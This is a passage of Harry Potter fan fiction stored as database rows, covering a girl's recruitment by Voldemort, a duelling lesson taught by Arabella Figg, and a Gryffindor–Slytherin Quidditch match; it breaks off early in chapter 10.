\n</p><p>\nWhere had it started?  With her parents of course.  Why were they my parents?  Why couldn’t they hadn’t they been more reasonable?  Not so concerned with image?  And me?  I’m the only sane member, and I’m stupid.  Dumb.  Thick.  Braindead.  If I wasn’t I wouldn’t be here now.  \n</p><p>\nWhen had it started?  When the letter had not come.  When she had been thirteen.  That fateful day…  He promised me everything… \n</p><p><i>\n“Look at the books.  Hold your wand out.  Say Accio Books!  Hurry up!  I haven’t got all day.”\n</i></p><p>\nShe looked up at her father, “If I could do it, I would be in Hogwarts now with my cousin,” she answered coldly, pointing her wand at the book.\n</p><p>\n“Accio Books!” she screamed in frustration.  This was the fifth time she had tried that day.  And no going out until the books came to her…\n</p><p>\nThe books stayed rebelliously in their place.  She did not say anything.  She did not show emotion.  None of them did.  There was a silence.  Then father clutched his arm, and muttered an unrepeatable four-lettered word.   He grabbed some black robes from a peg and dashed to the door, forgetting about his daughter.\n</p><p>\n“Where are you going?” she cried.\n</p><p>\n“The Master.  He is calling me.”\n</p><p>\n“The master whose judgement has ruled the household for almost six months?  Who you are helping to rid the world of the wrong people?”\n</p><p>\nHe smiled thinly at her and pointed his wand at himself to apparate.  \nA gripping curiosity had hold of her thirteen-year-old mind.  Who was this master?  Why did they refer to him in this cryptic way?  She ran forward, and grabbed hold of her father’s free hand as he finished the spell.  He looked at her with horror as they both apparated away.\n</p><p>\nThey arrived at a grassy field miles away from anywhere.  There were many other wizards in hooded cloaks standing silently around in a circle.  She watched, silently as well.  Her father was standing there, trying to hide his anger.  He looked for a way to get her away.  \n</p><p>\n“Have you brought your daughter, Nefarius?” asked an ice cold voice from behind them.  Nefaruis and his daughter wheeled around to confront a figure in black like the rest.  He was taller than them, however and had a peculiar face- red eyes, a slit nose.  This must be the Master.  For some reason, she did not feel terrified, like her father seemed to be.  In awe, yes; but frightened, no.  Nefarius was now grovelling at his master’s feet, apologising more than Mr. Collins…\n</p><p>\n“Get up, Nefarius.  I have use of your daughter.”  The silence was deafening.  He led her into the centre of the circle.     \n</p><p>\nShe felt apprehensive, but not frightened.  She was not used to being scared.  She would not have survived at home if she had been a timid person.  Oh, she had been spoilt well enough before the letter had not come from Hogwarts.  Then all had changed.\n</p><p>\nShe looked up at the red eyes of the Master.  He smiled at her. “Why have you come, child?” he asked softly.\n</p><p>\n“I was curious to know about you,” She answered.\n</p><p>\n“Curious in what sense?” asked Voldemort, still smiling.\n</p><p>\n“I wanted to see what the fuss was about.  My parents do not tell me anything, yet I know that your guild rules the household.”\n</p><p>\nThere was a silence.  Eventually he asked, “Is your curiosity satisfied now?”\n</p><p>\n“No.”  There was a very noticeable silence now.  She elaborated, “Who are you, and what do you do?”\n</p><p>\nVoldemort paced up and down, her eyes following his every move.  At last he said, “What I do is very complicated, child.  Do you still want to know?”\n</p><p>\n“Yes.”\n</p><p>\nVoldemort paced some more, “There have always been fights between us and the other side.  They call themselves the ‘good’ side, and they think we are ‘evil’.  They are wrong.  There is no real difference, we are both the same, except for which side we belong to.  The ‘good’ side is not good.  It is ruthless and unforgiving.  They put all our side in prison with soul sucking Dementors for nothing at all.  That is where all there leaders should be.  The other side has had power for many years under Professor Dumbledore-”\n</p><p>\n“The headmaster of Hogwarts?” interrupted the girl.\n</p><p>\n“Yes.  We meet in private in this manner because otherwise we would end up in Azkaban like the others who foolishly got themselves caught.  You, child, are lucky that you do not go to Hogwarts and are not exposed to the brutality of Dumbledore’s side.  Do you see now?  Do you understand what we are doing?”\n</p><p>\n“You are going to get enough supporters to eventually throw over the other side.  You are the leader.  What do you want me to do?”\n</p><p>\nVoldemort paced some more.  He’s making me dizzy, she thought.\n</p><p>\n“I believe you are not happy in your house at the moment?”\n</p><p>\nShe was caught.  If she said she was unhappy she would be in serious trouble with her father, yet it would be a lie to say she was happy.  She stayed silent. \n</p><p>\nHe laughed, “You are not happy.  Would you like to leave them?”\n</p><p>\nNefarius made a strange gagging sound, at which Voldemort frowned.  \nThe girl did not notice.  To leave her family!  To be hand selected by the Master to help fight the other side!  Her eyes must have shone with an unusual emotion.\n</p><p>\nHe smiled thinly, “I take it you agree.  I will tell you what to do then.  You will come with me and live in my castle as its mistress.  To all muggles who see might see you, you are a servant.  You will live in luxury and when the time comes you will be able to help me overthrow one of the strongest wizards of the other side.”\n</p><p>\n“Who?”\n</p><p>\n“Harry Potter...” replied Voldemort, almost lovingly.  “Have you heard of this... prodigy?”\n</p><p>\n“My cousin knows him at school.”\n</p><p>\n“Lucius’ son?” inquired Voldemort with what almost looked like a grin.\n</p><p>\n“Yes.  He says he is a bigheaded favourite of Dumbledore.”\n</p><p>\n“Do you agree?”\n</p><p>\n“I have no evidence to prove the contrary,” answered the girl carefully.  The answer seemed to satisfy Voldemort however, for he smiled at her, “Good, I am happy you are the girl I am looking for.  Your disability with performing magic is unfortunate, but I will overlook it considering who your family is.”\n</p><p>\nThe girl almost laughed, ‘You sounded like Lady Bracknell then.’  \n</p><p>\nVoldemort was speaking again, “Now you must prove your loyalty to this side.  Hold out your arm...”\n</p><p>\nShe rolled back her sleeve and looked at the ugly dark mark on her skin.  It had always hurt.  The time had now apparently come for her to help her master capture Harry Potter.  After all the wait, it should be something good.  She was almost looking forward to it.  She had not seen anyone apart from the most important Death Eaters for about two years.  She hoped she\'d get to talk to Harry Potter when he arrived.  She wondered if he was really that bad.\n</p><p></p><div class="center">*</div><p></p><p>\nThe holidays had ended.  The rest of the school had joined Harry, Ron and Hermione at Hogwarts.  Lavender and Parvati came back giggling about their hunky new boyfriends.  (“How many can they have in a year?” asked Hermione after having heard a minute description of the charms of Richard (the Lionheart), Lavender’s beloved.)\n</p><p>\nDean was full of the latest victories of Westham against Liverpool.   Saemus had been on holiday in Ireland and had gone to the home of the Irish national quidditch team, causing Ron and Harry to drool over the photos he had brought back of the training grounds, and even the lavatories.  (“Honestly, they’re obsessed,” sighed Hermione after having asked Harry three times about his Potions homework one evening.)\n</p><p>\nNeville had stayed at home and had caught ‘flu so all were all avoiding him, and Draco Malfoy was bragging about his trip to Ibiza.  \n</p><p>\nDumbledore had returned to Howgarts, not in time to let the Seniors Ball take place however; it had been cancelled due to the problems at the Ministry.  (“What shall we do?” wailed Parvati and Lavender.)\n</p><p>\nHarry, Ron and Hermione were pleased that the ball was not taking place.  None of them enjoyed the school balls, though Harry hadn’t minded them when he had gone with Cho.  She hadn’t minded he couldn’t dance.  Ron of course couldn’t go with Hermione, not now, which created problems for all three.  They hadn’t mentioned the Ball yet, but there was a kind of unspoken relief when they had heard it had been cancelled.  “Time to get down to more important things,” Hermione said briskly, upon hearing the news, “like revision, for example.” \n</p><p><i>This chapter has now ended.</i></p><p>\n'),
	(62, 9, '<p>\n<i>Disclaimer:  All belongs to JKR.  I own nothing.  See the earlier chapters for summary, etc.</i>\n<span class="u"><b> </b></span></p><div class="center"><b>Harry Potter and the Unbreakable Link</b></div><p></p><p>\nChapter 9- Quidditch and All That\n</p><p>\nIf Harry had thought that the teachers had been working the seventh years hard before Christmas, it was nothing to how they were teaching them now.  Even Hermione thought that they could loosen up a bit.\n</p><p>\n"Look at this!” cried Ron angrily one night, brandishing his homework diary, “We have a Potions essay- five rolls of parchment; three exercises for Professor McGonagall; duelling practise for a test in Defence against the Dark Arts and an essay on ‘The Rise of Grindelwald and his involvement in the Second World War’ for Binns.  It’s not fair.  They’re all due in tomorrow as well.”\n</p><p>\nHermione slammed her potions textbook down hard on the table, “You’re not exactly helping us work by complaining, you know.  Just do it, will you, Ron?  Please?”  She sounded close to tears.\n</p><p>\nRon glared at her but did not seem able to think of a comeback.  He returned to his Transfiguration.\n</p><p>\nHarry stared at his Defence against the Dark Arts notes before getting up slowly and turning to Hermione, “Hermione, can I borrow Crookshanks a minute?”\n</p><p>\nHermione yawned, “Yes, OK.  Why?”\n</p><p>\n“Duelling practise.”  Hermione’s eyes narrowed but she did not reply.\nHarry aimed his wand at Crookshanks, who was asleep and shouted, “Stupefy!”  The cat became motionless.  Harry muttered, “Enervate!” and he started moving again.  He returned to the place he had been before Harry had stunned him, as if he knew what Harry was doing.  That’s impossible.  Cats aren’t that clever, Harry thought frowning.\n</p><p>\nRon muttered, “What are you doing, Harry?  What is the point in your practising duelling?  We’ve gone over the curses millions of times when we were practising for the Triwizard Tournament.  Anyway, you’ve duelled You-Know-Who hundreds of times.  I would of thought that was enough to give you full marks.”\n</p><p>\n“Would have, Ron,” sighed Hermione absently as she flicked through her textbook.\n</p><p>\n“I won’t get full marks from Professor Figg just because I’ve fought Voldemort twice.”\n</p><p>\nProfessor Arabella Figg was indeed very thorough.  She had arrived after Christmas from the Ministry where she had worked as an Auror.  She had not been able to start teaching before then because her contract at the Ministry didn’t run out until the beginning of the New Year (2003).  \n</p><p>\nHarry had often wondered why Dumbledore had not told Sirius that the new teacher was Professor Figg.  He had found out as soon as she had entered the Great Hall: Sirius liked her.  They seemed to already know each other, and by the way Sirius always went red if she spoke to him it was pretty obvious that he was infatuated.  It was also pretty obvious what he liked about her.  Arabella was a good looking, bouncy woman with a good sense of humour.  There was also a very honest look about her- no nonsense- yes, but upfront.  If a student had a problem, she attacked it face on, and usually solved it.  \nWhen Harry had heard she was an Auror he had imagined a female version of Mad-Eye Moody, but Arabella seemed to prove that you could be an Auror without being covered in scars and muttering ‘CONSTANT VIGILENCE!”\n</p><p>\nNot that Arabella wasn’t strict.  She took the imminent exams very seriously indeed and had tests every other week.  She loaded on homework every day of the week apart from the weekend, when she gave them extra.  She thought that Professor Harding had taught them badly, which she had, surprisingly enough since she was McGonagall’s sister, and the mother of the Minister of Magic.  \n</p><p>\nHarry had enough things to worry about without homework and duelling tests.  He had a quidditch match against Slytherin on Saturday and as both Gryffindor and Slytherin were equal in points at the moment, then whoever won this match would probably win the cup as well.  He had training every night, as well as having to plan tactics out with Ron beforehand and homework afterwards.  Ron wasn’t much better off, now being on the team as Keeper.  \n</p><p>\nHarry and Ron both thought that Hermione would be having a light time because she was not on the quidditch team.  They were wrong.  Hermione had more than the boys did to worry about.  She was trying to learn her spell from Greece off by heart, she was trying to research Aïda Thompson’s disappearance and she needed to find out as much as she could about the Unbreakable Link and Voldemort’s daughter.  \n</p><p>\nIt was going to be a long term.\n</p><p></p><div class="center">*</div><p></p><p> \n“Come in Girls and Boys!” trilled Professor Figg happily from the Defence against the Dark Arts classroom.  The Gryffindors trooped in dejectedly.  Hermione was muttering under her breath and waving her wand occasionally.  Harry, Ron and Neville were all trying to share and read a textbook as they walked in.  (This created a problem when they reached the door as there was not room for three at one go to walk through it.)  Dean and Seamus were having a mock duel and Lavender and Parvati were trying to predict how they would do in the test.\n</p><p>\nThe classroom had been arranged to look like a professional duelling ring with chairs in a circle round it.  Professor Figg stood in the middle of it, twirling her wand between her fingers.  She was a short, slightly plump woman in her late thirties.  She had wide apart blue eyes and a short blond bob.  She wore very dangly earrings.   “What?  I’m very surprised that you’re not all rushing to have the test.  I know how much you love Defence against the Dark Arts.”  Catching Harry’s eye, she winked.\n</p><p>\nWhen the class was seated, she told them to put their books away.  Then she sat on the desk and surveyed the nervous Gryffindors with amusement.\n</p><p>\n“Welcome to your first proper duelling competition.  You will be marked as you would be in a professional competition.  You will have marks out of ten for the following features: Skill, Knowledge, Presentation-”\n</p><p>\n“Presentation!?” howled Seamus.\n</p><p>\n“Mmm, for how well you bow, salute, dodge and how you hold your wand etc, and a mark out of ten for whether you win or not.  If you win you get ten, if you lose, zilch.”  She beamed at them.  “That makes a total out of forty.  If you succeed in disarming or stupefying your opponent then you win.  You can use any curses you know apart the Imperius Curse, the Cruciatus Curse and the Avada Kedavra Curse.  Also,” here she held up a box of chocolate frogs, “these go to the person who can duel as well or better than my old best friend.  If no-one does then I keep them.  Only joking,” she added hastily, “I’ll share them round the class.”\n</p><p>\n“Who was your best friend?  Was she a champion?  Have I met her?” asked Lavender eagerly.\n</p><p>\nArabella looked at her closely a moment then replied shortly, “She’s dead.”\n</p><p>\nLavender looked aghast, “I’m sorry...If I’d known...”\n</p><p>\n“Never mind, Miss Brown.  It was a long time ago.”\n</p><p>\n“What was her name?  Was she really good?” asked Parvati curiously.\n</p><p>\nArabella looked at the floor, “You won’t have heard of her.  Her name was Lily Evans.  But yes, she was a good dueller.  It was as if she knew what her opponent was going to say before he’d even opened his mouth.  She countered the curse before he\'d said the curse.  It was weird.  She never a lost a tournament.”\n</p><p>\nHarry was staring at her, open mouthed, “My mum?”\n</p><p>\nProfessor Figg looked at him blankly a minute then said, “Yes.  She married James Potter.  Anyway, no use dwelling on the past.  When I call out your name, enter the ring.  When Neville rings the bell, you will bow and start the duel.  The fight will end when one of you has either lost their wand, or if you are knocked out due to a stunning curse.”  She smiled brightly at them, “Lavender Brown and Seamus Finnigan, please start!”\n</p><p>\nLavender and Seamus moved into the ring.  Neville rang the bell and they bowed.\n</p><p>\nHarry wasn’t watching however.  His mother had been a duelling champion and he had never known!  He hadn’t even known that his mother had been friends with Arabella.  That explains when she met Sirius, he thought.  It occurred to Harry how little he knew about his mother.  He knew plenty about his father, but nothing about Lily.  Petunia had not exactly been eager to talk about her sister.\nHarry came out of his reverie to feel Ron nudging him in the ribs.  Seamus had succeeded in stunning Lavender and everyone (minus Parvati) were clapping.  Lavender walked rather dazedly out of the ring back to her seat by Parvati.  Professor Figg wrote something on her clipboard and then read out the marks; Lavender had got 22 out of 40 and Seamus had 35.  \n</p><p>\nShe called out the next pair, “Hermione Granger and Neville Longbottom, please start.  Finnigan, please take over on the bell.”\n</p><p>\n“Good luck, Hermione!” cried Harry as she entered the ring.\n</p><p>\n“Good luck, Neville!” cried Ron, earning himself a dirty look from Hermione.\n</p><p>\nWhen Hermione and Neville were ready, Seamus rang the bell and they bowed.  Hermione opened the attack with the jelly legs charm which Neville managed to block.  He came back with a tickling spell, but Hermione was ready and she blocked it easily.  Hermione then tried the Impedimenta spell, but Neville jumped aside and yelled “Stupefy!”  Hermione blocked it quickly, and before Neville could retaliate, she cried, “Expelliarmus!”  The duel was over.  Hermione hurried to her seat and tried to look modest, and failed.  \n</p><p>\n“Neville, you have 29 points," announced Professor Figg, "Well done.” She flashed Neville a smile and he looked very pleased.  “Miss Granger, you have 38 points.”\n</p><p>\nHermione looked disappointed and asked in a peevish manner where she had lost the two points.\n</p><p>\nArabella grinned, “One point off because you forgot to salute your opponent at the end.  The winner should always salute the loser.  The other point off is because you used the disarming spell when I know you are capable of using the stunning spell.  In a real life duel for life or death then if you merely rob your opponent of their wand then there is the minute chance that they might be able to do magic without their wand.  That is very rare, I have never encountered anyone who can.  You-Know-Who can.” She added as an afterthought.\n</p><p>\n“I don’t understand,” Hermione said frowning.  “Is Voldemort the child of someone with the Unbreakable Link?”\n</p><p>\nNo-one seemed to understand her apart from the teacher.  She frowned, “I wonder why you know about that.  It isn’t on the NEWTs syllabus.  You-Know-Who has a muggle father, Hermione.  He can’t be.  There is a rare potion that gives you the powers of one who is the child of the Link.  That is why he is said to be on the path to immortality.  He isn’t immortal yet, I don’t think.  He can resist death by force though.  The potion is very rare and extremely difficult to brew however.  By the by, I wouldn’t say his name out loud in public.  Some people don’t like it.”\n</p><p>\nHermione nodded, seemingly content with Professor Figg’s answer.  Arabella smiled at her before returning to the register, which Harry realised she was going down alphabetically, “Parvati Patil and Harry Potter, please start.”\n</p><p>\nHarry entered the ring to the calls of "Good Luck, Harry!" from Ron and Hermione, and "Good Luck, Parvati!" from Lavender.  Seamus rang the bell very loudly and Harry and Parvati bowed.  \n</p><p>\n“How can people duel like this for a jest when they could duel Voldemort?” Harry wondered as he sent the tickling curse at Parvati which she blocked.  A few minutes later Harry realised that though Parvati didn’t seem able to send out any curses of her own, she was very good at blocking Harry’s.  No-one seemed to be winning, until Harry had an idea.  “Rictusempra!” he shouted, and as Parvati blocked it, he called straight after, “Stupefy!”  Parvati did not have time to block it and Harry had won.  He remembered to salute Parvati as he left the ring.  He went back to his seat where Ron and Hermione were having a silent fight.\n</p><p>\n“I hope you were all watching that duel very carefully.” Here Professor Figg glared at Ron and Hermione.  (Ron was now trying to force Hermione off her chair.)\n</p><p>\n“An excellent match.  Well done, Potter.  Well done, Patil.  Very good tactics I must say, Parvati; that use of the blocking spell is very widely used in professional duelling and is very hard to beat.  If you’d only came in with an attacking spell when Harry was confused then you would have won.  Excellent use of the two spells almost simultaneously, Harry.  That’s very complicated but is the only way of getting past Parvati.  Anyway, your marks, Parvati; 28 out of 40.  Very good.  Potter you have, erm, 38.”\n</p><p>\nHarry collapsed in a chair next to Ron.  Arabella looked over at that side of the room and sighed, “Would you kindly care to explain your difference of opinion to the class.”\n</p><p>\nHarry grinned as Ron and Hermione looked up, embarrassed.  “Either that or you explain to me in private afterwards.”\n</p><p>\nRon hissed to Hermione, “This is all your fault.”\n</p><p>\nHermione said in an innocent voice, “Ron is teasing me because I wouldn’t be his girlfriend and I think I was quite right not to go with him if I don’t like him.”\n</p><p>\n“Don’t listen to her!” cried Ron angrily, “She was going on at me because I said ‘Good luck, Harry!’ and not ‘Good luck, Hermione!’  I was saying good luck to Neville because no-one else was-”\n</p><p>\n“That’s still no reason to give-”\n</p><p>\n“SILENCE!” roared Professor Figg, “10 points from Gryffindor for behaving like first years and please sort out your love lives out of my class.  Dean Thomas and Ron Weasley, please start.”\n</p><p>\nSeamus rang the bell and they bowed as Hermione cried out, “Good luck, Dean!”\n</p><p>\nRon won his duel easily, even though he had to perform the disarming charm while dancing the tap dance, which was quite an amusing sight.  Ron had 34 points and Dean had 25.\n</p><p>\n“OK, let’s see who won.  You all did marvellously.  Much better than Slytherin.”  Professor Figg grinned at them, “Now, let’s see.  Oh!  We have a draw!”\n</p><p>\n“What now?” asked Dean.\n</p><p>\n“Well, in a professional competition the two winners would duel each other until there was a winner.  Off you go, Potter and Granger, please start.  Parvati, take over the bell.”\n</p><p>\nParvati rang the bell and Harry bowed to Hermione.  She did the same.  He noticed that she looked very confident.  A smile played on her lips and she held her head proudly in the air.  She looked very different from when she duelled Neville.  She had done that almost lazily.  ‘What’s so different about duelling me and duelling Neville?’ Harry asked himself.  The answer came at once, ‘You are Harry Potter, the boy who lived, the boy who has duelled the most notorious wizard ever, and won.  And now you are duelling Hermione Granger, your friend, a muggle born.’  That was the difference.  The way it was put then made it look like Hermione would be a walkover.  So why was he feeling nervous?  He could duel Voldemort, but not Hermione!?  Nothing made sense anymore.  He would wait for her to make the first move.\n</p><p>\nHermione stared at Harry.  He looked very fierce.  This duel isn’t for fun, I know.  It means everything.  If Harry wins that’s only to be expected.  If I win?  What then?  How can I, Hermione Granger, beat Harry Potter?  She saw how he was looking at her and a stab of cold fear gripped her heart.  He knows.  I know he knows.  He’s realised.  What can I do?  I’ll let him start.\n</p><p>\nThey stared at each other for a minute, then they said the same spells at the same time.  The two jets of light met in the middle and ricochéd off each other causing Seamus and Professor Figg to double up laughing.  (Ron ended the spell on Arabella, so she could keep a check on the duellers.)\n</p><p>\nThe rest of the duel continued like this.  They said the spells at the same time or if they didn’t then each of them managed to block the other.  However Harry was starting to lose concentration.  His scar was hurting.  Not badly- just like a small headache.  It was like the ghost of what he normally felt when he was near Voldemort.  But Voldemort wasn’t here, was he?  What’s going on?   Harry thought as he aimed the stunning curse at Hermione, which she blocked easily.\nThe school bell went, and the rest of the class left very hurriedly, nearly all of them had been hit by a spell that had bounced out of the ring.  The two duellers continued like this for another five minutes when Arabella cried, “Stop!  Stop!  Enough, enough!  I’m exhausted just watching you.”\n</p><p>\nHarry and Hermione lowered their wands sheepishly and saluted each other.  Professor Figg smiled at them.  “Well, I wouldn’t like to meet either of you in an alley at night. I wish I had recorded that duel,” she added wistfully.  “You’re good enough to be professional duellers you know.  That was very... interesting.  Here, take these.  You deserve them.”  She handed them the box of chocolate frogs with a smile, “Not before lunch, however.  You’ll ruin your appetite.”\n</p><p>\n“And our teeth,” muttered Hermione.  Harry grinned; it seemed Hermione had picked up some off her parents’ habits.  \nArabella swept out of the room. \n</p><p>\n“Wait!” cried Harry after her, struck with an idea.\n</p><p>\nShe stopped.\n</p><p>\n“Does that mean we are better than my mum?”\n</p><p>\nArabella ran her fingers distractedly through her hair, “As good, I should say.  Not better.”\n</p><p>\n“Then... then, if she was such a good dueller, why didn’t she duel Voldemort?”\n</p><p>\n“Come in and sit down,” Arabella said abruptly.  They re-entered the Defence against the Dark Arts classroom and Arabella and Harry sat down.  Hermione began unobtrusively to pack her and Harry’s bags.\n</p><p>\n“I don’t know what happened exactly the night your parents died, Harry.  When I and the other Aurors arrived it was all over.  I know she died to save you.  That’s the sort of thing she would do.  Competitive to the end.  James didn’t save you, so she did.”\n</p><p>\n“What was my mother like?” Harry asked.  If anyone knew it would be Arabella.\n</p><p>\nArabella frowned a bit, “I don’t suppose anyone has ever talked to you about her.  Always good to talk about the dead.  Get’s it out of your system.  Your mother was very competitive.  That’s the first thing I remember about her.  In Transfiguration on our first day, she challenged James to transfigure as many matchsticks as he could in a time limit.  It was a draw.  I think we all knew what would happen then.  Since that day everything was a race between Lily and James.  They were both top of their class and your father was a terrible egoist.  He thought he was the best at everything.  He was in most cases.  Lily also thought she was the best.  James did not believe she could be better than him because she was a girl.  This enraged her.  If James did anything, Lily had to do better.  If the Marauders sneaked out with an Invisibility cloak, then Lily would find an extremely complicated spell for invisibility and we’d sneak out too.  It was quite exhausting being her best friend.  Then she had that dreadful sister, Petunia.  I think she was quite nice, but she was terribly jealous of Lily.  It was really improbable, I remember, that talented, clever, fierce witch, Lily should have such a nondescript, stupid family- her mother was truly pathetic, and such an awful sister!  They didn’t even look alike.  Lily stood out like a beacon with her smooth fair hair and her twinkling green eyes.”\n</p><p>\nHarry glanced at Hermione, waiting patiently by the door.  She had gone very pale and was staring at them as if she had seen a ghost.  Perhaps she was hungry and tired from the duel.\n</p><p>\n“Thank-you, Professor.  I really appreciate you telling me this.  I think I’ll go to lunch now.”\n</p><p>\n“Oh, Harry.  Perhaps you didn’t know, I am actually one of your godmothers.”\n</p><p>\nHarry stared at her open mouthed.  “My godmother?  Oh!”\n</p><p>\nArabella grinned back, “Your other godmother was Molly Stibbins, now Molly Weasley.”\n</p><p>\n“Ron’s mother?” \n</p><p>\n“Yes.  I thought you’d like to know that.  Now get your lunch- you must be starving.”\n</p><p>\nHarry picked up his bag from Hermione’s outstretched hand and they left the room, silently.\n</p><p>\nArabella looked after them, a small frown on her sunny face, “I wonder...”  And she left in the direction of Dumbledore’s office.   \n</p><p></p><div class="center">*</div><p></p><p>\nHarry and Hermione didn’t mention the duel to anyone except Ron who did not look very interested and merely suggested they earned a living by duelling against each other.  Hermione and Ron were still at each other throats, and it would probably have continued if Harry had not reminded Ron of his resolution never to fight with Hermione again.\n</p><p>\nSaturday dawned fresh and bright- perfect conditions for a quidditch match.  At breakfast Harry sat at the Gryffindor table hardly eating anything, drawing attack plans on the tablecloth with his knife, using the pepper and salt as players.\n</p><p>\n“Erm, Harry, the match isn’t till tonight.  You’re turning into Oliver Wood, you know.  You know- obsessed.”  Ron commented as Harry bewitched his piece of toast to be the quaffle.  Hermione shook her head sadly behind his back, but not totally seriously.\n</p><p>\n“I wish we still had Oliver Wood,” Harry moaned.\n</p><p>\n“I wish Fred, George, Angelina, Katie and Alicia were still here.” Ron replied, winking at Hermione.\n</p><p>\n“We’ve got Pippa,” Harry said brightening up a little.  Pippa was Alicia Spinnet’s younger sister in the sixth year and like her sister was an excellent chaser.\n</p><p>\nThey spent the morning doing homework, or in the case of Harry, worrying.\n</p><p>\nEventually the hour of the game arrived and Harry and Ron left to get changed and Hermione followed Lavender and Parvati to the stands.  (“Promise you won’t do your homework during the game, this time.”  Harry had pleaded.)  She hadn’t even brought it.  After all, it was Harry’s next to last quidditch game at Hogwarts.  \n</p><p>\nShe made her way to the stands and sat down between Dean and Parvati.   Lavender had gone off to sit with her Ravenclaw boyfriend.  The pitch was a hub of excitement.  Three-quarters of the crowd were sporting red and gold flags and a quarter had green and silver flags.  Pansy Parkinson seemed to be wearing Malfoy’s old quidditch robes.  Seamus and Neville staggered up to the crowd followed by Ginny Weasley carrying the massive Gryffindor flag which usually decked the Great Hall.  “Dumbledore said we could have it.  Will you help us hold it, Hermi?” panted Seamus.  Hermione hated that nickname but she took hold of one of the poles all the same. \n</p><p>\nThe roar of the crowd swelled as the teams entered the pitch.  Hermione screamed and jiggled her pole of the flag along with the rest.  She surveyed the Gryffindor team.  Rachel Jones and Shane Britain were beaters.  Not as good as Fred and George, but not bad either.  Ron as keeper.  Pippa was the best chaser, Colin Creevey was dreadful and Gemma Robinson wasn’t bad.  Then Harry.  She smiled happily and awaited the start of the game.\n</p><p>\nHarry shook Malfoy’s hand with as much loathing as Oliver Wood and Montague had in the old days.  \n</p><p>\nMadame Hooch’s whistle went and the teams flew off the ground.  The commentator, Susan Bones from Ravenclaw started yelling the score.\n“10-0 to Gryffindor!!  And Spinnet scores!  That’s 20-0!  Oh, Pucey has the quaffle and he score- no!  He’s stopped by a trusty bludger sent by Jones.  Quaffle is intercepted by Spinnet and will she- won’t she?  YES !  Spinnet scores again!  30-0 to Gryffindor!”\n</p><p>\nSo the game continued.  Hermione had her Omnicolars and she skimmed the pitch, trying to find the snitch.  Malfoy and Harry were soaring round above them, looking for it as well. \n</p><p>\nA roar of cheering came from the Slytherin end.  Slytherin had scored, bringing the score to 30-10.  Next a bludger almost knocked Colin Creevey off his broom giving a Slytherin chaser a chance to score another goal.  He would have succeeded if Shane hadn’t sent a bludger into his stomach on purpose.  Madame Hooch awarded Slytherin a penalty and they got another goal past Ron.  \n</p><p>\n“The Slytherins are catching up!  30-20!” roared Susan.\n</p><p>\nHermione concentrated on finding the snitch.  She swooped the pitch for some sign of the golden ball.  A roar in the crowd was gradually rising.  Dean pinched her arm.  “Did you see it?”\n</p><p>\n“What?”\n</p><p>\n“Colin had the quaffle and flew straight into Harry!  He’s almost off his broom!”\n</p><p>\nWith a slightly sick feeling in her stomach she turned her omnioculars towards the Gryffindor end of the pitch.  Harry hung with one hand from his broom.  Slowly he heaved himself up to the concern of the Gryffindor team who were so upset that they didn’t notice that the Slytherins had grabbed the quaffle bringing the score up to 30 all.  Harry was being blocked by Colin Creevey, who seemed to be apologising to him in a very sycophantic manner when Hermione saw an even more sickening sight near the Slytherin goalposts: the golden snitch hovering near the Slytherin keeper, and Malfoy souring towards it. \n</p><p>\nHarry hadn’t even been able to see past Colin.  “THE SNITCH!” bellowed Hermione, but Harry could not hear her.  Then it occurred to her.  She could do it.  Yes, she’d give everything away, but to win the game...  This would prove whether she was right or not anyway.\n</p><p>\n<i>HARRY POTTER</i>! she screamed, though not one word left her lips.  Harry almost fell off his broom.  Hermione’s heart jumped into her mouth.  <i>THE SLYTHERIN GOALPOSTS!  THE SNITCH!  MALFOY’S ALMOST THERE!</i> she yelled.\n</p><p>\nWithout waiting to hear anything more, Harry turned his broom towards the Slytherin end and flattened himself against it, brushing past Colin who looked very surprised.  “Look!” cried Ginny, “He’s seen it!  Look at them go!”  The stadium was almost silent as the two seekers chased the snitch.  Professor McGonagall was biting her finger nails and even Snape was looking anxious.\n</p><p>\nMalfoy was nearer, much nearer than Harry, but Harry had a Firebolt.  He was gaining on Malfoy... but still Malfoy would get there first.\nThe whole stadium was silent.  Pucey was holding the quaffle, but didn’t even seem to notice it.  It was then that one of the Slytherin beaters made a grave mistake.  He sent a beater hurtling towards Harry.  It missed and hit Malfoy in the stomach.  Malfoy rolled over in pain as Harry leaned forward and grabbed the snitch!\n</p><p>\nThe stadium erupted.  Hermione released the breath she hadn’t realised she had been holding and burst into tears.  Susan was jumping up and down on the platform shouting, “YES!  YES!  YES!  THE LIONS WIN!!  DOWN WITH SLYTHERIN!  180-30 TO GRYFFINDOR!!  YES!!  YES!!”\n</p><p>\nNo-one stopped her.  McGonagall was dancing some sort of tango with Dumbledore and Sirius had kissed Arabella.\n</p><p>\nThe Gryffindor team landed and Hermione, closely followed by Ginny raced onto the pitch.\n</p><p>\n“You WON!” she screamed tearfully as she threw herself into Harry and Ron’s arms.     \n\n'),
	(62, 10, '<p><i>Disclaimer:  All belongs to JKR.  I own nothing.</i></p><p>\n<span class="u"><b> </b></span></p><div class="center"><b>Harry Potter and the Unbreakable Link</b></div><p></p><p>\nChapter 10- Exams and Other Duties\n</p><p>\nHermione disengaged herself from her friends\' arms and beamed at them. "I can\'t believe we won!" \n</p><p>\nNeither can I!" said Harry shaking his head. Ginny came up from behind them and cried, "You should have seen your face, Harry, when you realised Malfoy had seen the snitch! You almost fell off your broom in surprise and Pucey had the quaffle and no-one noticed! He could have shot a hundred goals and no-one would have seen! Where\'s Pippa? I must tell her... That goal she got across Anderssen...!" Ginny hurried off to find her friend. \n</p><p>\nHarry, Ron and Hermione stayed on the pitch grinning goofily at each other. "Don\'t look now, Harry, but I think if you look over there you\'ll see an interesting sight," Ron whispered as he gestured towards the teachers\' block. Harry and Hermione looked immediately over their shoulder to see that Sirius was still kissing Arabella, or maybe she was kissing him, it was impossible to tell. Harry smiled, "About time Sirius found a partner, and I like Arabella. She\'s my godmother, you know." \n</p><p>\n"Really?" said Ron in surprise, "That makes it even better. Maybe they\'ll get married and stop teaching and you can go and live with them after we\'ve left Hogwarts." \n</p><p>\nMalfoy\'s sneering voice was suddenly heard behind them, "Well, Potter, not badly won. If that fool of a beater hadn\'t missed you I would have won. I\'m not sure whether he will be staying on the team much longer, you know. You were really show-boy today, though. You only fell off your broom twice. Can\'t resist showing off, can you?" \nHarry gritted his teeth and tried to resist the urge to kill Malfoy on the spot, who merely grinned and waved as he moved off to get changed. \n</p><p>\nRon frowned, "I never thought the day would come when I would agree with Draco Malfoy, but how did you manage to almost fall off your broom twice in about five minutes? The first time, OK, if Colin Creevey hadn\'t bumped into you then you wouldn\'t have lost your grip. That\'s all fair and square, but the second time I can\'t understand it.  You can\'t have just lost your balance because you saw the 